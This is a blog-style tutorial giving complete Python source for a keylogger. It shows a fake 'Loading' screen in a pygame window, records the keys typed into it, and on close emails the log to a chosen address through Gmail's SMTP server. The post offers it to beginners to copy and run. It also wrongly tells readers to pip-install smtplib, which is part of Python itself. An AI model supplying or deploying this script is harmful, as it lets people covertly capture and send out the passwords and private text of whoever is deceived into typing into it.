Python 3 Email Keylogger GUI Desktop App Script Using Pygame and Smtplib Library Which Sends Keystrokes Logs as Email Full Project For Beginners

 

Welcome folks today in this blog post we will be building a email sending keylogger python script using pygame and smtplib library.All the full source code of the application is shown below.

 

 

 

Get Started

 

 

In order to get started you need to install the below libraries using the pip command as shown below

 

 

pip install pygame

 

pip install smtplib

 

After installing this libraries make an app.py file and copy paste the following code

 

 

app.py

 

 

__author__ = 'WilsonKoder'

import pygame
import sys
import smtplib

FROMADDR, TOADDR   = "your_gmail_email", "gmail_address_to_send_to"
username, password = 'your_gmail_email', 'your_gmail_password'


red = (255, 0, 0)
x_val = 0
key_list = []
replacements = {
    13: '\n',
    32: ' ',
}

pygame.init()

font = pygame.font.SysFont("comicsansms", 48)
text = font.render("Loading", 1, red, None)
screen = pygame.display.set_mode((800, 600))


clock = pygame.time.Clock()

running = True

while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        if event.type == pygame.KEYUP:
            default = pygame.key.name(event.key)
            key_list.append(replacements.get(event.key,default))

    clock.tick(60)

    pygame.draw.rect(screen, red, (0, 550, x_val, 20))
    x_val += 0.1
    screen.blit(text, (325, 100))
    #print(key_string)
    pygame.display.flip()

# The actual mail send
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(FROMADDR, TOADDR, ''.join(key_list))
server.quit()
sys.exit()

Leave a Reply